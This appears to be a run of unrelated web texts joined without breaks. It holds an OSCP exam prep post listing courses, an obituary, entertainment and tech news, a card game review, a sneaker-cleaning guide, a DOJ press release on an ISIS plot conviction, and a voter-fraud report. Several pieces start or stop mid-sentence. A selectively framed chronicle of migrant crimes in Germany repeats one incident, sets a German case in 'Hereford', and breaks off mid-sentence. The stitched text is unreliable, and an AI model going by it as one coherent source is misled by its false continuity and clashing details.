Posted on Sunday, March 23rd at 15:17:20 by AdamBefore I take my exam in a few days, figured I would put up here everything I had done prior to even starting the PWK training course offered at Offensive-Security. This list is everything I’ve done and what I recommend people who wish to pursue this certification go do as well.
Prior Knowledge:
Prior to exam I had decent experience in Linux and Windows. Mint has been my preferred choice for nearly 2 years now. The languages I am well versed in are C, C#, Java, Python, and SQL. Scripting was something I had just started in but quickly adapted to.
I’m putting these in the official order of “You Should Probably Tackle This First”
Cybrary Intro to Ethical Hacking
13 Hours. Every chapter starts with a whiteboard draw up of what you should be “thinking” as a penetration tester, then straight into demos. It’s basic, but a must have foundation to help get you in the game of enumeration.
Cybrary’s Web Application Pen-Testing
4 Hours. If you want to take a break from the whiteboard and get into action while learning, try out out web application testing. It’s for beginners and you learn a lot.
Cybrary Advanced Penetration Testing
15 Hours and by Georgia Weidman herself. Builds upon the first intro to penetration testing course above. Definitely more advanced and she goes over things done similarly in the PWK modules. Get her book as well, I’ve read it in and out: seriously it’s a must.
Metasploit Unleashed
Now that you have that down, Offensive-Security has their own FREE online training in Metasploit. What you learn here can easily be applied in the labs. Once finished, head over to vulnhub.com, where the members have even more fun things:
Kioptrix VMs #1-#5 in that order. These vulnerable machines were created by Offensive Security members and the best baseline before entering PWK.
Python for Security Professionals
10 Hours. Seriously the best Python course I have ever come across. Straight up for Security Professionals. He gives you activities to solve (included in his ZIP file) and then has his own scripts that test your scripts and gives feedback. Wild ey?
Reviews: If you haven’t already, go start digging around and find reviews of the course before you sign up. First go to the Cool People to Check Out page on my site, and look at those guys. All OSCP holders with blogs talking about their experiences. Security Sift
When you start reading people say “Enumeration! ENUMERATION!”, “Post Exploitation”, “Make scripts for exam!” and so on, check out this guys stuff. Read his review and go through his scripts, everyone uses his to customize their own stuff. It helped me in understanding what certain commands can be used when enumerating, further helping me develop my own scripts. Jollyfrogs Tale This guy did a fantastic job. He took out all 50 machines in the lab and all 5 in the exam. On top of that he documented as much as he could. Here is his Page 2 with all the references he used to take down the hard machines(he updated the list after he got his cert) Tulpa Security: 2016 Prep Guide for Offsecs PWK
Tulpa has his own Prep Guide as well and extremely on point. If mine lacks what you need or want more, head over to his site and get his step-by-step guide.My wife, Marilyn McCord Adams, who has died of cancer aged 73, was the first woman, and the first American, to hold the regius professorship of divinity at Oxford. In that capacity, during the years 2004-09, and as a delegate to the General Synod of the Church of England, she was widely known for her forceful defence of loyal same-sex partnerships as legitimate expressions of Christian love.
Her convictions on that subject were formed in Los Angeles in the 1980s. While teaching philosophy at UCLA (the University of California at Los Angeles), and publishing a definitive two-volume study of the philosophy of William Ockham, Marilyn was also preparing for ordination as a priest in the Episcopal church. As part of that process she was assisting in ministry at a church in Hollywood, where gay men, in the first terrible years of the Aids crisis, were seeking spiritual support. She was deeply moved by their need, and no less by the depth of their love and loyalty towards each other.
During those years, also, she turned her interests more and more towards Christian theology and religious ministry. She never gave up the commitment to philosophical reasoning formed during her years of study at the University of Illinois in Urbana (BA 1964) and Cornell University (PhD 1967). But the topic that most gripped her, and most inspired her intellectual work through the rest of her life was the theological problem of evil. She developed a distinctive approach that had a major impact on discussion of that problem. In Horrendous Evils and the Goodness of God (2000), she does not try to answer the question, “Why did God permit all the evils that we know about?” Rather she asks, “What can God do to make our existence a great good to us, without trivialising the horrendous evils that we know about?” And she gives an answer in terms of friendship offered by God, which she saw in the story of Jesus, and also saw echoed in the lives of gay people loving each other in the face of Aids.
Born in a suburb of Chicago, to William McCord, a pipeline engineer, and his wife, Wilmah (nee Brown), a schoolteacher, Marilyn grew up in small towns in rural east-central Illinois. But she loved university towns and large cities. Many of her former students and their families form the largest part of a devoted extended family that survives her.
Marilyn is also survived by her brother, Bill.ABC is increasing its investment in Shark Tank.
The network announced on Wednesday that it was moving forward with a spin-off titled Beyond the Tank, which will follow up on the financial adventures of the companies that wind up cutting a deal on the show. (Shark Tank often shows brief updates on the businesses, but this would be a deeper, hourlong look at what happens after entrepreneurs partner up with the show’s moneyed investors such as Marc Cuban, Kevin O’Leary, Lori Greiner, Robert Herjavec, Daymond John, and Barbara Corcoran. Including whether or not the deal even comes to fruition.)
The network has not announced a premiere date for Beyond the Tank, which will consist of 10 one-hour episodes and will be executive-produced by Mark Burnett, who also oversees Shark Tank.
Shark Tank—which has been a ratings standout for ABC on Friday nights and already airs in syndication on CNBC—will unveil its 100th episode next month.
It’s been a strong financial week for Burnett, as TLC ordered a religious-themed reality series about answered prayers that he will executive-produce.Prelude
Hex Casters was created by five students at RIT: Douglas Mansell, Norman Greenberg, Tom Smith, Samuel Sternklar, and Alex Bogart. Originally called Hexes!! The Card Game, they submitted the game in an attempt to win the top prize of the national Hasbro Gaming Lab and Indiegogo “Next Great Game” contest. They didn’t come out on top, but Hasbro picked up the license anyway.
Play
Hex Casters is a card game for 3-6 players where the goal is to have the least amount of Hexes at the end of the game.
Setup is simple. Separate the Hex cards from the Defense cards and shuffle each pile. Every player gets one face-down Hex to start and a hand of five Defense cards. All the players then flip over their Hex cards and read them aloud. Every player needs to do what their Hex card says for the rest of the game. The youngest player takes the turn token and the game begins.
To start a round the player with the player with the turn token draws and Hex and places it faced down in the center of the play area. They may then pass it to any player they choose.
When a player is passed a Hex card they have two options:
Play a Defense card from their hand to pass the Hex to another player. Take the Hex, turn it over, and read it aloud. They must now follow whatever rules written on the card for the rest of the game.
Once a player takes the Hex the round ends and players restock their hand of Defense cards back up to five. The turn token is then passed to the left and a new round begins. The game ends when a player has nine Hex cards of there are no more Hex cards to play. The player with the fewest Hex cards is the winner.
A few things to note. You must always follow the rules on your Hex cards. If you are caught not doing so you must take a Hex from the top of the draw deck and place it in front of you. This makes knowing what Hexes other players have and keeping an eye on them very important. Also, Defense cards are not restocked until someone takes the current Hex in play. Be careful how you use them!
Pieces
Hex Casters is your typical mass-market quality game. The box is sturdy with a glossy, wrapped label. The card tray is a flimsy plastic that feels like it’ll break not long after the game is opened. The cards feel fairly sturdy and contain readable text, but fairly forgettable art. There’s a few blank cards tossed into the box if you’re feeling creative, or lose a few cards.
A small footprint
Perspective
Hex Casters is a pretty average game. It’s better than most mass-market card games, but I feel like that’s not saying much. There are laughs to be had when players get Hexes stacked up on them, but the gameplay feels rather dull, with it really coming down to having the right Defense cards to make sure a Hex doesn’t land with you.
My kids seemed to have a pretty good time playing but they haven’t asked to play again and seem to have forgotten the game is on the shelf already. At $15 it’s not a horrible value, but there’s better games out there at the same price point.
A copy Hex Casters was provided free for review by Hasbro.
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Media personality Rob Kalajian has been a staple in the board game world for many years. As a former writer for Purple Pawn and the owner of A Pawn’s Perspective, Rob focuses on board game reviews, events, and news. A self-proclaimed geek, Rob loves all things toys and games and even helps raise his four kids in his spare time. Buy me a TeaThese presents came in two shipments which gave me sometime to completely forget about this exchange so imagine my delight when I got a package in the mail today!
I told my santa that I am a wimp and love the cutesy disney side of Halloween. I also mentioned Reeses (mah favorite candy).
I received some amazing hocus pocus witches pins that will go great on the messenger bag that I always take with me to work!
I also got a wide range of Reeses in varieties that I didn't even know existed! Reeses pieces inside of Reeses cups? WHAT IS THIS MADNESS? WHO THOUGHT OF SUCH THINGS? OH MYYYYYYY
Inside Out jelly beans too! I was Joy for Halloween last year. I love that movie. I'm probably going to bring these to my Kindergarten class as an incentive.
All pizza flavored lollipop? CRAZY! I'll approach it cautiously.A student sexually assaulted an 11-year-old girl and punched another boy in the face, breaking his glasses. At least six other students have been beaten bloody. The school's leadership has refused to discipline the child, apparently because of his migrant background, and instead has lashed out at the parents for demanding a safe environment for their children.
A 10-year-old girl from a former republic of the Soviet Union was raped by an asylum seeker from Ghana, but police and the local government allegedly suppressed information about the crime for more than two weeks.
June 1. A Syrian migrant was stabbed to death in Oldenburg by another Syrian because he was eating ice cream during Ramadan. The murder, which occurred in broad daylight in a busy pedestrian shopping area, was just the latest example of Islamic law, Sharia, being enforced on German streets.
June 2. Around one million non-Europeans living in Germany are now on welfare, an increase of 124% in just one year, according to new statistics from the Federal Employment Agency (Bundesagentur für Arbeit). The top welfare beneficiaries are from: Syria (509,696); Turkey (276,399); Iraq (110,529) and Afghanistan (65,443).
June 2. Police temporarily halted the annual Rock am Ring music festival in Nürburg because of a possible jihadist threat. Authorities asked the 90,000 visitors to leave the concert grounds in a "controlled and calm" manner. The move was based on "concrete leads which do not allow us to eliminate a possible terror threat," the police said.
June 3. Bavarian Interior Minister Joachim Herrmann called on Germany's BfV domestic intelligence agency to begin surveilling minors suspected of being involved with Islamist groups:
"I would strongly urge for the age limit for surveillance to be lowered throughout Germany. Minors have already committed serious acts of violence. Normally, the domestic intelligence agency in Bavaria would not place children under surveillance. But if there is concrete evidence that a 12-year-old is with an Islamist group, we have to be able to monitor them, too."
June 4. Mostafa J., a 41-year-old asylum seeker from Afghanistan, stabbed to death a five-year-old Russian at a refugee shelter in Arnschwang. The Afghan, who had been arguing with the boy's 47-year-old mother, was shot to death by police after a standoff. It later emerged that the man had a criminal history in Germany and should have been deported but was not. In October 2009, for example, a court in Munich sentenced Mostafa J. to six years in prison for arson. In July 2011, he received a deportation order, but in 2014 he fooled a judge into believing that he had converted to Christianity and would be killed if he were deported to Afghanistan.
June 5. A study conducted by the Hanns Seidel Foundation, a think tank affiliated with Bavaria's Christian Social Union, found that half the asylum seekers in Bavaria subscribe to classic anti-Semitic views about Jewish power. Around 60% of Afghans, 53% of Iraqis and 52% of Syrians said Jews wield too much influence.
June 7. A 27-year-old migrant from Syria stabbed and killed a Red Cross mental health counselor in Saarbrücken. The attacker and the psychologist allegedly got into an argument during a therapy session at a counselling center for traumatized refugees.
June 9. A court in Cottbus sentenced a 32-year-old Chechen migrant named Rashid D. to 13 years in prison for slitting his wife's throat and throwing her out of the second-floor window of their apartment. The couple's five children now live in Chechnya with their grandparents. The man was charged with manslaughter rather than murder because, according to the court, the "honor killing" was done in the heat of passion: the man thought that his wife had been unfaithful.
June 12. A 44-year-old migrant from Syria named Sultan K. was arrested at his home in Bullenhausen on charges of being a member of the Jabhat al-Nusra terrorist group. Police said that the man's three brothers, Ahmed K. (51), Mustafa K. (41) and Abdullah K. (39), were also suspected of being members of al-Nusra. The arrest confirmed fears that jihadists posing as refugees have gained access to Germany.
June 12. Bavarian Interior Minister Joachim Herrmann called on three German states — Berlin, Bremen and North Rhine-Westphalia — to introduce random police spot checks. Local laws against "racial profiling" prohibit police in the three states from stopping and identifying individuals. Hermann called it a "blatant security gap that urgently needs to be closed." He also said he wanted to see random checks extended in border areas, around airports, railway stations and rest-stops, as well as on highways that lead in and out of the country. At the moment, such checks are only allowed within 30 kilometers (20 miles) of German borders. Parliamentary spokesman Stephan Mayer said:
"The demand of Bavarian Interior Minister Joachim Herrmann to finally introduce so-called spot-checks in the states of Berlin, Bremen and North Rhine-Westphalia is completely and utterly justified. Given the basically open borders in Europe, random checks are a necessary instrument for preventing terrorists, criminals and illegal immigrants from entering the country."
June 13. The newspaper, Bild, posted on its website a film — "Chosen and Excluded: Jew Hatred in Europe" — that was censored by the Franco-German television outlet ARTE because it showed Islamic-animated anti-Semitism and Jew-hatred in all walks of European life. Julian Reichelt, Bild's online editor-in-chief, said:
"The TV documentary proves the rampant, in part socially acceptable Jew-hatred, for which there are only two words: disgusting and shameful. It is suspected that the documentary is not being shown on television because it is politically unsuitable and because the film shows an anti-Semitic worldview in wide parts of society that is disturbing. Our historical responsibility requires us to decisively counter the unspeakable truth that this film establishes."
June 14. A 33-year-old migrant from Syria stabbed and seriously injured his ex-wife at a supermarket in Cologne. He also stabbed his 13-year-old son after the boy intervened to protect his mother.
June 15. A 21-year-old migrant from Nigeria went on a rampage after the manager of a public swimming pool in Rosenheim repeatedly told him that hygiene regulations prohibited him from swimming in his underwear. After police arrived, the Nigerian attacked an officer. He was arrested for refusing to obey a police officer.
June 16. Germany's first "liberal mosque" opened in Berlin. The Ibn Rushd-Goethe Mosque, which holds its services inside the St. Johannis Church in the Moabit district, was founded by Seyran Ates, a women's rights activist who has been hailed by some as the "champion of modern Islam." The mosque allows men and women to pray together and the Koran to be interpreted "historically and critically." The mosque, which is open to everyone, including Alawite and Sufi Muslims, as well as homosexuals, has caused outrage in the Muslim world. Al-Azhar University in Cairo, Egypt, generally considered the leading authority on Sunni Islam, issued a fatwa warning against "religious innovation that is not approved by Islamic Sharia." Turkey's religious affairs agency, Diyanet, said that the mosque's practices "do not align with Islam's fundamental resources, principles of worship, methodology or experience of more than 14 centuries, and are experiments aimed at nothing more than depraving and ruining religion." Ates, the mosque's female imam, is now under 24-hour police protection.
Seyran Ates, a women's rights activist who has been hailed by some as the "champion of modern Islam," recently opened Germany's first "liberal mosque" in Berlin, and serves as its imam. Due to the outrage this caused in the Muslim world, Ates is now under 24-hour police protection. (Photo by Sean Gallup/Getty Images)
June 17. In Cologne, a peace march organized by German Muslim groups to condemn terrorism and violence in the name of Islam had an extremely low turnout. Organizers had expected at least 10,000 participants, but actual turnout was estimated at between several hundred to about 3,500. Germany's largest Islamic association, the Turkish-Islamic Union (DITIB) refused to take part in the march because it would "send the wrong signal to suggest that Muslims were mainly responsible for international terrorism."
June 18. The parents of student at the Kronwerk Gymnasium, a school in Rendsburg, have been ordered to appear in court because they refused to allow their child to visit a nearby mosque as part of a geography class. The parents, who are not religious, said they did not want their child to be exposed to "religious indoctrination." No one could be compelled to enter a sacred building against his or her own free will, they argued. The school insisted that the visit to the mosque was compulsory: "The school is designed to promote the openness of young people to cultural and religious diversity, the desire for international understanding and peace." Each parent was fined €150 ($175), which they refused to pay. They are now being sued. The mosque in question belongs to the Milli-Görüs movement (IGMG), one of Europe's largest Islamist organizations. According to Germany's BfV domestic intelligence agency, the movement is extremist and virulently anti-Semitic.
June 18. Local authorities in Hereford reportedly covered up information about the rape of a ten-year-old girl at a refugee shelter in the city. The girl, who is from a former republic of the Soviet Union, was raped by an asylum seeker from Ghana, but police and the local government allegedly suppressed information about the crime for more than two weeks.
June 18. Muslims in Freiburg launched an online petition demanding that the city prohibit male supervisors from working at a female-only swimming pool in the city. The petition says that Muslim women who want a "break from everyday gazes" are unable to use the pool. The petition adds that the "presence and supervision of male staff is deeply reactionary and sexist" and calls for the "creation of a dialogue to promote mutual understanding and acceptance." Facility managers at the Lorettobad said that it hired male supervisors because of a shortage of female personnel. The pool has been rocked by disputes between Muslims and managers who have been trying to enforce hygiene regulations at the facility: Muslim women have been angered after being told that they are not allowed to wear jeans and other street clothing while swimming, and also that they cannot consume food while in the pool. Some Muslim women have also been told that they have "too little control over their offspring" and that their children are "too wild" and are disturbing other guests. Muslims have reacted with such aggression that police repeatedly have been called to restore order at the pool.
June 19. Jakob Augstein, a German newspaper editor well known for his anti-Israel tirades, wrote an essay for Der Spiegel in which he expressed glee that so few Muslims attended an anti-terrorism rally in Cologne. He said that those Muslims who did attend were "Uncle Toms" and excessively subservient to their German "overseers." He wrote:
"Terror is not a question of civil society, but one of politics. What is more important, however, is that the demonstration call was addressed to the Muslims in Germany. This is an impertinence. What does the average German Muslim have to do with terrorism? Nothing. "Just because terrorists justify their crimes with Islam, there is still no special obligation for people of the Muslim faith to distance themselves from these crimes. On the contrary, the terrorists would be given an honor that is not theirs: they are taken seriously as representatives of Islam. But they are not.... Terrorism is a political and social phenomenon, not a religious one. There are more than 1.5 billion Muslims in the world. Should all of them demonstrate? If I were a Muslim, I would refuse such requests."
June 20. Police in 14 German states raided the homes of three dozen people accused of posting hateful comments on social media. Most of the raids were said to have involved "right-wing incitement" while two of the raids involved "left-wing agitators." The head of the Federal Criminal Police (BKA) Holger Münch said: "Our free society must not allow a climate of fear, threats or criminal violence to be found either on the street or on the internet." Critics say the crackdown is part of an effort to suppress criticism of Chancellor Angela Merkel's open door migration policy ahead of federal elections set for September 24, 2017.
June 20. In an essay published by Süddeutsche Zeitung, Benjamin Idriz, an imam in Bavaria, called on the German government to provide language training for imams so that they can become the "driving force behind integration and dialogue" in Germany:
"The demand for imams from around 2,700 municipalities in Germany is usually supplied by imams from abroad. Many of them are thus directly connected with foreign religious authorities and under foreign influence. Imams from abroad also hardly have sufficient language and cultural competence. They are therefore not conducive to the integration of the Muslims, nor do they meet the needs of the Muslim communities, especially among the younger generation. The demand for imams is enormous, and too much time has already been lost. We must begin before we lose the next generation."
June 21. The parents of more than 20 fifth-graders at the Herder-Gymnasium, a school in Charlottenburg district of Berlin, initiated a boycott of the school over accusations that the school was not dealing with discipline and violence in class. The problem revolves around one male student who has been bullying his classmates since he arrived at the school last fall. The student has sexually assaulted an 11-year-old girl and punched another boy in the face, breaking his glasses. At least six other students have been beaten bloody. "Our concern is that our children be protected," a father said. The school's leadership has refused to discipline the child, apparently because of his migrant background, and instead has lashed out at the parents for demanding a safe environment for their children: "We deeply regret the fact that because of a single populist exception among the parents such serious damage has been done to the reputation of our school."
June 22. Aydan Özoğuz, Germany's commissioner for immigration, refugees and integration, admitted that "there has been a shift in perceptions" and that only a quarter to a |
Keep reading and we’ll discuss how to wash white converse without staining them yellow.
The History of Chuck Taylor All-Stars
It all began with Charles Hollis Taylor–I would like to take a second to thank him for producing such wonderful sneakers that have been super supportive my whole life–in 1923. An American basketball player, that joined a team that happened to be sponsored by Converse All Stars.
Fast forward to 2003 and Nike, Inc. has been a subsidiary in producing Converse under many different brand names: Chuck Taylor All-Stars, Converse All Stars, Converse, Chucks, and Cons.
These days converse is a great accessory and big part of the athleisure trend. Worn regularly by many rappers and singers on daily basis.
The Converse design has remained relatively unchanged since their debut. The classic sneaker consists of a stitched upper portion, a toe cap–usually made of white rubber–and a sole that is usually made-up of brown rubber. Widely known for their staple version made of cotton canvas, the innovative detail of the original shoe and the loose lining was intended to prevent the friction between you and your feet, decreasing the chances getting blisters.
Six Methods How To Clean White Converse
How to clean white converse with baking soda
If you’re like me and don’t actually own baking soda because you’re a Peter Pan adult, then heading down to your local grocery store will be the beginning of your adventures. Because, well, you will also need vinegar; and an old toothbrush and some hot water.
The first step that you babies will need to do is mix one tablespoon of white vinegar with one tablespoon of baking soda, then apply hot water to make a thick paste.
Take your old toothbrush, apply the paste onto your Converses, and then scrub them till you start seeing your own reflection. This method is the most considerable method when it comes to cleaning the white Converse.
How to clean white converse with bleach
The most famous technique amongst those who have experienced the pain of staining their precious white Converses.
To make this technique induce a little less stress amongst those who have “ruined” their white Converses, here is the easiest way to get them whiter than snow with a little help of some bleach.
You will need:
1. Liquid bleach
2. Toothpaste
3. Baking Soda
4. Warm water
Add 50 ml of liquid bleach, toothpaste, baking soda and warm water. Mix it together until you have a slippery paste.
Then, you will need to soak your shoes in that slippery paste for no more than 2-3 hours.
After that, dip your toothbrush into some natural lemon juice and scrub them with a toothbrush.
After scrubbing, leave the lemon juice on your Converses for 10-15 minutes and then wash the juice off with warm water.
How to clean white converse with toothpaste
This method is widely known and has become very famous amongst sneaker lovers everywhere. I suggest using this method only when you have a particular area that needs cleaning.
Head to the grocery store and buy:
1. Toothpaste
2. An old piece of fabric
3. A bucket of warm water
4. An old toothbrush
5. Baking Soda
Do not buy colored toothpaste, I repeat, do not buy colored toothpaste. For this to work properly, only buy toothpaste of the white variety, as other kinds could stain and change the color of your shoes.
Grab your old toothbrush and apply it to all the areas of your white Converse sneakers that have been stained. Leave the paste on for no longer than an hour.
Once it hits the hour mark, grab a piece of fabric and soak it in warm water and baking soda for a minute or two, and then start rubbing your shoes with said fabric, then leave it for 10-15 minutes.
Eat a snack–maybe a muesli bar–then it’s time to wash your shoes using warm water.
It’s not unusual to see that some stains are still on your Converses. If so, repeat this method 1-2 times for the best results.
How to clean white converse with soap, water, and repetition
For all you, Peter Pan adults who don’t actually have instant access to baking soda, toothpaste and bleach–myself included–then this method is for you.
You will need:
1. An old toothbrush
2. Cleaning detergent
3. Warm water
First, you will need to grab a bucket and mix cleaning detergent and warm water.
Then soak your shoes, including the laces, in the bucket of soapy water.
If you’re only focusing on selected areas of your Converses, then grab your old toothbrush and rub and scrub the stains out for 15-20 minutes.
How to clean white converse with the nail polish remover
A very simple method that, I would say, is the simplest of them all.
This is because all you need is a bottle of nail polish remover and some cotton balls.
First, you need to apply the nail polish remover using cotton balls. The trick is to put small amounts of nail polish remover on the cotton balls.
Then rub the cotton ball on the stained areas of your Converse sneakers.
If you have remaining stains, then try this method 3-4 times.
How to clean white converse with petroleum jelly
You’re probably thinking, why should I rub Vaseline all over my stained white shoes?
Here, I’ll break it down for you.
The oil contained in petroleum jelly removes light and dark stains from white fabric–including clothes–which means it gets to the heart of the multilayered stain, increasing the chances of you being able to lift all dark spots out from your sneakers.
Another method that will require you to head down to your local grocery store. Unless you already own some petroleum jelly[please note: that Vaseline does count], and simply apply it to a toothbrush and then rub it on the stained area.
After rubbing, leave it for 5-10 minutes and then wash the jelly off with cold water.
More tips for how to how to clean white converse
1. Always unlace your shoelaces before washing them. It is very important to clean the shoelaces separately. All you need to do is soak them in warm, soapy water or buy new ones. But who has the money for that, right?
2. Do not clean both pairs unless they need cleaning. Most likely you will have stains on different areas of your sneakers. When this happens–and it will–use a cleaning stick or a detergent. If you choose to use a cleaning bar, follow the instructions that are mentioned on the back of the pack. It’s just easier that way.
3. Lastly, when it comes to drying your sneakers, it’s very important that you leave them somewhere warm–not a mechanical dryer–until they are no longer damp and wet.
And there you have it folks: The 6 most effective ways for how to clean white converse. Hope you enjoyed it! Good luck.BlackBerry is preparing to release the BlackBerry KEYone in the US, and in preparation of this, the company has removed the Priv and a number of other smartphones from its website in the US and Canada.
BlackBerry released the Priv back in November 2015 and it was the company’s first smartphone running Android and focusing on security features. The phone is equipped with a classic slide-out BlackBerry keyboard that wasn’t very popular among consumers.
The company seems to have pulled the Priv from its online store in the US and Canada, and posted discounts for a number of smartphones during the May Sale. The DTEK50 received a 70% price cut and sells for $229, while the DTEK60 has a price of $460.
Still, US owners of Priv phones can still get accessories from BlackBerry’s official online store. BlackBerry currently discounted accessories like hard-shells, leather and flip cases, as well as headphones.
BlackBerry Priv still available in Europe
It’s also worth mentioning that BlackBerry seems to sell the PRIV in online stores in Europe, customers from Germany, France and the UK can purchase the device for a price starting at £294 or €342, depending on the country.
It’s unclear when BlackBerry will pull the Priv from its stores in Europe, especially since the BlackBerry KEYone is available in select locations in the UK, while pre-orders should start shipping later this month.
The KEYone has a price of £499 in the UK and is BlackBerry’s latest smartphone with a QWERTY keyboard and fingerprint sensor embedded in the keys. It comes with a 4.5-inch IPS LCD display with 1620 x 1080 pixel resolution with 3:2 aspect ratio and runs Snapdragon 625 SoC, with 3GB of RAM and 32GB of internal storage, with the option to add 2TB using a microSD card. Rear camera capacity reaches 12MP on the smartphone, while the battery capacity is 3,505mAh with Quick Charge 3.0.While Microsoft didn't exhibit at the CES, which ended at the weekend, information came out from its development team, and the host of device makers present, concerning the way the OS scales content - Windows Display Scaling. The information pertains to the OS changes and enhancements coming with 'Redstone', sometimes referred to as the "fit and finish update," for Windows 10.
As the Windows Team relates; "Scaling is a complex problem for the open Windows ecosystem, which has to support devices ranging in size from roughly 4-inches to 84-inches, with densities ranging from 50DPI to 500DPI. In Windows 10 we took steps to consolidate and simplify our developer story for scaling and to improve the end-user visual experience." The scope of the tweaks and changes was designed based upon feedback from the Windows 10 Insider community.
Apps written for the Modern UI should already scale well to displays of all kinds,with various screen splits and window modes working well and as expected. However many older, mainly Win32 desktop apps, provide almost illegible UI elements/texts to users of high DPI screens. following its latest efforts Microsoft says that "Windows 10 has polished the most commonly used desktop UI to look beautiful and clear even at 400 per cent scaling".
WinBeta reports that the Windows team has now "taken up the task of unifying how content scales across devices, extended the scaling system an important system UI element to handled upwards of 8K displays and improved Windows support for more OS and application content". Appropriate scaling is very important to Continuum users, for example.
The previous maximum display scaling value was 250 per cent. Redstone will bring a range of scaling values between 100 and 450 per cent to users which should cater for those with very high PPI displays such as 6-inch 4K smartphones and 23-inch 8K desktop monitors. There is still some work to be done before Redstone is ready for the masses in summer, however it's good to see work ongoing to address these usability issues.David Daoud Wright, aka Dawud Sharif Abdul Khaliq, aka Dawud Sharif Abdul Khaliq, 28, of Everett, Massachusetts, was convicted of conspiracy to provide material support to the Islamic State of Iraq and al-Sham (ISIS), a designated foreign terrorist organization; conspiracy to commit acts of terrorism transcending national boundaries; conspiracy to obstruct justice; and obstruction of justice.
Acting Assistant Attorney General for National Security Dana J. Boente, Acting U.S. Attorney William D. Weinreb for the District of Massachusetts and Special Agent in Charge (SAC) Harold H. Shaw of the FBI’s Boston Field Division made the announcement today.
“Mr. Wright conspired to provide material support to ISIS and plotted to kill innocent civilians on U.S. soil and to wage violence against our government on behalf of the foreign terrorist organization,” said Acting Assistant Attorney General Boente. “Mr. Wright will now be held accountable for his crimes. The National Security Division’s highest priority is counterterrorism, and we will remain vigilant in our efforts to disrupt potential attacks in the United States and to hold accountable those who seek to provide material support to foreign terrorist organizations. I want to thank the many agents, analysts and prosecutors who are responsible for this result.”
“Mr. Wright intended to wage war against the United States on behalf of ISIS,” said Acting U.S. Attorney Weinreb. “Despite the fact that he was born and raised in Massachusetts, Mr. Wright swore allegiance to ISIS, a foreign terrorist organization, and plotted attacks that he hoped would cause more harm than the Boston Marathon Bombings. Today’s conviction ensures that Mr. Wright will never again endanger the lives of innocent Americans or recruit others on behalf of a violent enemy of this country. I commend the efforts of the law enforcement officers who investigated and halted Mr. Wright’s plans and the prosecutors who brought the case to a successful conclusion.”
“Today's verdict is a victory for America in its fight against terror. It reflects the true gravity of Mr. Wright's crimes, betraying his country, conspiring to support a terrorist organization dedicated to the murder of innocent people, and obstructing an investigation,” said SAC Shaw. “Mr. Wright was a soldier of ISIS right here in Massachusetts and his plan to carry out terror attacks was a very real threat. This case is a testament to the tireless efforts of the FBI's Joint Terrorism Task Forces in Massachusetts and Rhode Island. The close coordination between federal, state, and local law enforcement agencies, combined with trusted international partnerships, led to the disruption of this plot. Every day, the Joint Terrorism Task Force strives for a perfect record, and we'd like to thank all of our partners for their dedication and hard work they put in to bring this case to its successful conclusion."
In April 2016, Wright and co-defendant Nicholas Alexander Rovinski were indicted on charges that they conspired with each other and Usaamah Abdullah Rahim, 26, Wright’s uncle, to provide material support to ISIS and commit acts of terrorism. In September 2016, Rovinski pleaded guilty to conspiring to provide material support to ISIS and conspiring to commit acts of terrorism transcending national boundaries.
Beginning in at least February 2015, Wright began discussing ISIS’ call to kill non-believers in the United States with Rahim and Rovinski. They began plotting and recruiting members for their “martyrdom” operation. In March 2015, Wright drafted organizational documents for a “Martyrdom Operations Cell” and conducted internet search queries about firearms, the effectiveness of tranquilizers on human subjects and the establishment of secret militias in the United States. Simultaneously, Rahim was communicating with an ISIS member overseas, Junaid Hussain. In August 2015, Hussain was killed in an airstrike in Raqqah, Syria.
Beginning in or about May 2015, Hussain communicated directly with Rahim. Rahim in turn communicated Hussain’s instructions to Wright, with regard to the murder of an individual residing in New York. Wright, Rovinski and Rahim conspired to commit attacks and kill persons inside the United States on behalf of ISIS. In preparation for their attack, Rovinski conducted research on weapons that could be used to behead their victims. While detained pending trial, Rovinski sought to continue their planned attacks and wrote letters to Wright from prison discussing ways to take down the U.S. government and decapitate non-believers.
On June 2, 2015, Rahim was shot and killed after he attacked law enforcement officers in a Roslindale, Massachusetts, parking lot. Within minutes of learning this from a family member, Wright deleted data from his laptop computer by restoring it to factory settings and deleting call logs on his cellphone that showed he had spoken to Rahim that morning.
The charge of conspiracy to provide material support carries a maximum sentence of 20 years in prison, a lifetime term of supervised release and a fine of $250,000. The charge of conspiracy to obstruct justice carries a maximum sentence of five years in prison, three years of supervised release and a fine of $250,000. The charge of obstruction of justice carries a maximum sentence of 20 years in prison, three years of supervised release and a $250,000 fine. The charge of conspiracy to commit acts of terrorism transcending national boundaries carries a maximum sentence of life in prison, a lifetime term of supervised release and a fine of $250,000. The maximum statutory sentence is prescribed by Congress and is provided here for informational purposes. The sentencing of the defendant will be determined by the court after considering the advisory Sentencing Guidelines and other statutory factors.
This investigation was conducted by the Boston Joint Terrorism Task Force (JTTF); the Boston Police Department; Massachusetts State Police; Everett Police Department; and Customs and Border Protection.
The case is being prosecuted by Assistant U.S. Attorney B. Stephanie Siegmann of the District of Massachusetts’s National Security Unit and Trial Attorney Gregory R. Gonzalez of the National Security Division’s Counterterrorism Section.Seven indicted for voter fraud in RUD election
More than a year since a state district judge ruled 10 Montgomery County residents voted fraudulently in a Woodlands election, a grand jury last week indicted seven of those individuals for illegal voting.
The indictments stem from the May 8, 2010, election of The Woodlands Road Utility District No. 1. Ten individuals listed their voter registration address as that of a hotel in order to take control of the RUD board.
Former Montgomery County Judge candidate Adrian Heath heads the list of people charged with the third-degree felony. Heath declined comment, saying he was looking into hiring an attorney.
In addition to Heath, the Montgomery County grand jury empanelled in the 9th state District Court handed up indictments for William Berntsen, Thomas Curry, James Alan Jenkins, Peter Goeddertz, Roberta Cook and Sybil Doyle.
Benjamin and Robert Allison were listed as co-defendants but were not indicted. Richard McDuffee had been among the three challengers who captured an at-large position before the ruling was overturned, but he was not listed as a co-defendant.
According to indictments released by the Texas Attorney General’s Office, the defendants voted in an election they knew they were not eligible to vote.
“To-wit: Defendant voted in the May 8, 2010 Woodlands Road Utility District Board of Directors election, when he knew he did not reside in the precinct in which he voted,” the indictment stated.
The lengthy, legal tussle started when the 10 individuals changed their voter registration address to 9333 Six Pines Drive in The Woodlands, the location of a Residence Inn hotel. The hotel is included in the RUD’s territory.
McDuffee, Goeddertz and Berntsen each captured an at-large position on the RUD board by a 10-2 margin. Their victory prompted the three incumbents - Gene “Ed” Miller, Bill Neill and Winton Davenport - to file suit against the RUD May 11, 2010, alleging those 10 votes were obtained illegally.
After hearing three days of testimony in the 410th state District Court, Senior District Judge P.K. Reiter declared the three incumbent board members as the rightful winners of the contest.
Reiter based his ruling on “clear and convincing” evidence that the voters’ registration applications and the 10 votes casts were “fraudulent.”
